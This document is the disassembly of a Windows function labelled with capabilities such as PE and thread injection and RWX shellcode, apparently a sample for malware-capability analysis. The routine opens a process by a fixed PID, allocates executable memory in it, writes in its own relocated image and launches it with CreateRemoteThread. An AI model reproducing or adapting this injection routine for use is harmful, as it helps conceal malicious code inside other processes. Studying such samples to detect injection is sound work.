Function at 0x1400010a0
Capabilities:
Allocate or change rwx memory
Create thread
Inject pe
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x50
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rcx, str.Opening_target_process..._n
mov r14, rax
movsxd rdi, dword [rax + 0x3c]
add rdi, rax
call fcn.140001010
xor edx, edx
mov ecx, 0x1fffff
mov r8d, 0x2a6c
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
jne 0x14000110c
lea rcx, str.Error:_Unable_to_open_target_process_handle._n
call fcn.140001010
lea eax, [rsi + 1]
jmp 0x14000137d
lea rcx, str.Allocating_memory_in_the_target_process..._n
mov qword [rsp + 0x68], rbp
call fcn.140001010
mov r8d, dword [rdi + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
jne 0x140001167
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error:_Unable_to_allocate_memory_in_the_target_process.__d_n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [rbp + 1]
jmp 0x140001378
mov rdx, rbp
mov qword [rsp + 0x60], rbx
lea rcx, str.Memory_allocated._Address:__010x_n
call fcn.140001010
mov edx, dword [rdi + 0x50]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rdi + 0x50]
mov rdx, r14
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memcpy
mov r9d, dword [rdi + 0xb0]
mov r10, rbp
sub r10, qword [rdi + 0x30]
add r9, rbx
mov r11, r14
sub r11, qword [rdi + 0x30]
cmp dword [r9], 0
je 0x140001213
mov eax, dword [r9 + 4]
cmp eax, 8
jb 0x14000120a
lea rcx, [rax - 8]
shr rcx, 1
lea rdx, [r9 + 8]
test ecx, ecx
je 0x14000120a
mov r8d, ecx
nop dword [rax + rax]
movzx eax, word [rdx]
test ax, ax
je 0x1400011fc
and eax, 0xfff
add eax, dword [r9]
mov ecx, eax
mov rax, r10
sub rax, r11
add qword [rcx + rbx], rax
add rdx, 2
sub r8, 1
jne 0x1400011e0
mov eax, dword [r9 + 4]
add r9, rax
cmp dword [r9], 0
jne 0x1400011c0
lea rcx, str.Writing_executable_image_into_target_process..._n
call fcn.140001010
mov r9d, dword [rdi + 0x50]
lea rax, [rsp + 0x40]
mov r8, rbx
mov qword [rsp + 0x20], rax
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001285
lea rcx, str.Error:_Unable_to_write_executable_image_into_target_process_n
call fcn.140001010
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
jmp 0x140001373
lea rcx, str.Creating_remote_thread_in_target_process..._n
call fcn.140001010
lea rax, [0x140001070]
mov r9, rbp
sub r9, r14
xor r8d, r8d
add r9, rax
xor edx, edx
xor eax, eax
mov rcx, rsi
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, rax
test rax, rax
jne 0x140001307
lea rcx, str.Error:_Unable_to_create_remote_thread_in_target_process._n
call fcn.140001010
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea eax, [rdi + 1]
jmp 0x140001373
lea rcx, str.Thread_successfully_created__Waiting_for_the_thread_to_terminate..._n
call fcn.140001010
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, str.Thread_terminated__n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Freeing_allocated_memory..._n
call fcn.140001010
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400013b0
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret